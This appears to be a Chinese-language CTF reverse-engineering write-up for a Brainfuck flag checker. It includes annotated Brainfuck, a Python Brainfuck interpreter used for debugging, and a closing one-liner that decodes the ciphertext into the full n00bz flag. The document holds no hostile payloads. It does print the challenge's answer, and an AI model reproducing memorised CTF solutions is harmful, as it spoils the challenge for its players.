+]-<[-]+>++[-->++]]>>>>>--------------------------------------------------------
-------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------
------------------------------------------------------[[-]--+[-<+]-<[-]+>++[-->+
+]]>>>>>--------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<
[-]+>++[-->++]]>>>>>-------------------------------------[[-]--+[-<+]-<[-]+>++[-
->++]]>>>>>-------------------------------------------------------------------[[
-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------------------------
------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----
--------------------------------------------------------------[[-]--+[-<+]-<[-]+
>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---[[-]--+[-<+
]-<[-]+>++[-->++]]>>>>>----------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-
-------------------------------------------------------------------[[-]--+[-<+]-
<[-]+>++[-->++]]>>>>>-----------------------------------------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------
-------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------
---------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------
-----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------
-----------------[[-]--+[-<+]-<[-]+>++[-->++]]+[-<+]->+++[[-]>+++]+[-<+]-<[->[-]
<->++++++++++[>+++++++>+++++++++++>++++++++++>+++>+++++++++++>+++++++++++>++++++
+++++>+++++++++++>++++++++++++>++++>+++>+++++++++++>+++++++++++>+++++++++++>++++
+++++++>++++++++++>+++>++++++++++>++++++++++>+++++++++>++++++++++>++++>+++>+++++
++++++>+++++++++++>++++++++++++>+++>+++++++++>++++++++++>+++++++++>++++++++++>++
+++++++++>++++>+++>+++++++>+++++++++++>+++>+++++++++++>+++++++++++>+++++++++++>+
+++++>+++>++++++++++>++++++++++>++++++++++>+++>+++++>+++++[-<+]->-]>++++++>+>+++
+++++>++>+++++>+>++++>++++>+>++++>++>+++++++++>++++>+>>+++>++>++>++++++++>++++++
+>+++>++++>++>++++++>++++>+>++>+++++++>+++>+++++++>+++++>>++++++>++>+++++++++>++
++>++>>+>++++++>+++>++>+++++>>+++++++>++>++++++++>++[-<+]>>[.[-]>]]>[[-]<->+++++
+++++[>+++++++>++++++++++>+++++++++>++++++++++>+++>+++>++++++++>+++++++++++>++++
+++++++>+++>++++++++++>+++++++++++>+++++++++++>+++>++++++++++>+++++++++++>++++[-
<+]->-]>++++++++>+++++>+++++++++>+>+++>++>+++++++++>+>+++++++>++>+++>+>++++++>++
>+++++>++++++>++++[-<+]>>[.[-]>]]
手工处理一下
>-
>>>>>,[----------[++++++++++>>>>>,>]<] #每隔5个读入1字符,直到读入0结束
>---<+[-<+]- #指针移到开始
>>>>>[ #对每个输入处理
<++++++++++++++++++++++++++++++++p
[>>[-]+>[-]<<-<->[>-]>[-<<[-]>>>]<<<]p #第字符-32
>+++++++++++++++++++++++++++++++++++++++++++++++p #+47
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++p #b1+94
<[>->+<[>]>[<+>-]<<[<]>-]p
>[-]p
>[-<<+>>]p
>>>]
p+[-<+]->>>>>------------------------------- #密文核对 n->31 0->3f b->13 z->2b
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------
大概意思差不多明白了,前边输入后5字节一个字符放入数据区,然后加密,然后跟逐个减n,估计要求最后是0,那密文这块的减号个数就是密文
为这还写了个bf的解码器
from pwn import pause
dat = open('chall.bf', encoding='utf-8').read()
def show(val,ptr):
print(' '*ptr + ' v')
print(' '.join([hex(i)[2:].rjust(2) for i in val]))
def bf(msg, inp):
i_ptr = 0 #输入数据inp指针
l_stack = [] #循环栈
fp = 0 #代码文件指针
val = [0]*200 #数据区
v_ptr = 0 #数据指针
while fp<len(msg):
#print(fp, "{"+msg[:fp]+"}")
#show(val,v_ptr)
if msg[fp] == '+':
val[v_ptr] = (val[v_ptr]+1)%256
fp+=1
elif msg[fp] == '-':
val[v_ptr] = (val[v_ptr]-1)%256
fp+=1
elif msg[fp] == '>':
v_ptr +=1
fp +=1
elif msg[fp] == '<':
v_ptr -=1
fp +=1
elif msg[fp] == '.': #输出
print('out:'+chr(val[v_ptr]))
fp +=1
elif msg[fp] == ',': #输入
val[v_ptr] = inp[i_ptr]
i_ptr +=1
fp +=1
elif msg[fp] == '[':
if val[v_ptr] != 0:
l_stack.append(fp)
else:
cnt = 1
while True:
fp +=1
if msg[fp]=='[':
cnt+=1
elif msg[fp] == ']':
cnt-=1
else:
pass
if cnt==0 and msg[fp]==']':
break
fp +=1
elif msg[fp] == ']':
v = l_stack.pop()
if val[v_ptr] != 0:
fp = v
else:
fp +=1
elif msg[fp] == 'p' or msg[fp] == 'P':
show(val, v_ptr)
fp +=1
pause()
elif msg[fp] == '#': #跳过本行
while msg[fp] != '\n':
fp+=1
fp +=1
else:
fp +=1
bf(dat, b'n00bz{@@@@@@@@@@@@@@@@@@@@@@@@0}\x00')
最后也没得到结果,不过知道两个加密有关的数:47,94
回过头来看密文
[31,63, 63, 19, 43, 44, 10, 63, 38, 16, 69, 63, 83, 16, 64, 37, 16, 69, 63, 21, 67, 92, 30, 64, 70, 16, 64, 30, 16, 1, 35, 63, 6, 21, 16, 63, 23, 16, 42, 63, 6, 16, 93, 63, 8, 16, 37, 67, 90, 66, 16, 3, 22, 68, 70, 48, 48, 48, 46]
其实很简单,前边的工作都白作了。
一句话
>>> bytes([i+79 if i<48 else i-15 for i in b])
b'n00bz{Y0u_60D_1t_60d4Mm17_1m_Pr0Ud_0f_y0U_N0W_t4K3_Re57!!!}'